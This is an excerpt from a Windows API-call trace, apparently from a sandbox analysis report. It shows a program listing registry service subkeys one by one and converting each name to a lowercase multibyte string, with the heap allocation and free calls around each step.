RegEnumKeyW (in: hKey=0x9c, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0176.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0176.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.055] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0176.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0176.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0176.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.055] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0176.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0176.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1a00, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0176.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.056] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0176.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0176.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0176.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.056] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0176.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0176.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0176.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.056] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0176.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0176.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0176.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.056] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0176.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0176.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0176.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.057] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0176.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0176.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0176.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.057] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0176.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0176.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0176.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.057] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0176.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0176.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0176.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.057] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0176.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0176.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.058] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0176.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0176.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0176.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.058] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0176.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0176.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.058] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0176.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0176.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0176.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.058] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0176.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0176.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.059] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0176.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0176.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.059] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0176.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0176.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.059] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0176.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0176.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0176.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.060] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0176.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0176.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0176.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.060] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0176.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0176.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.060] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0176.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0176.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1a00, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0176.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) 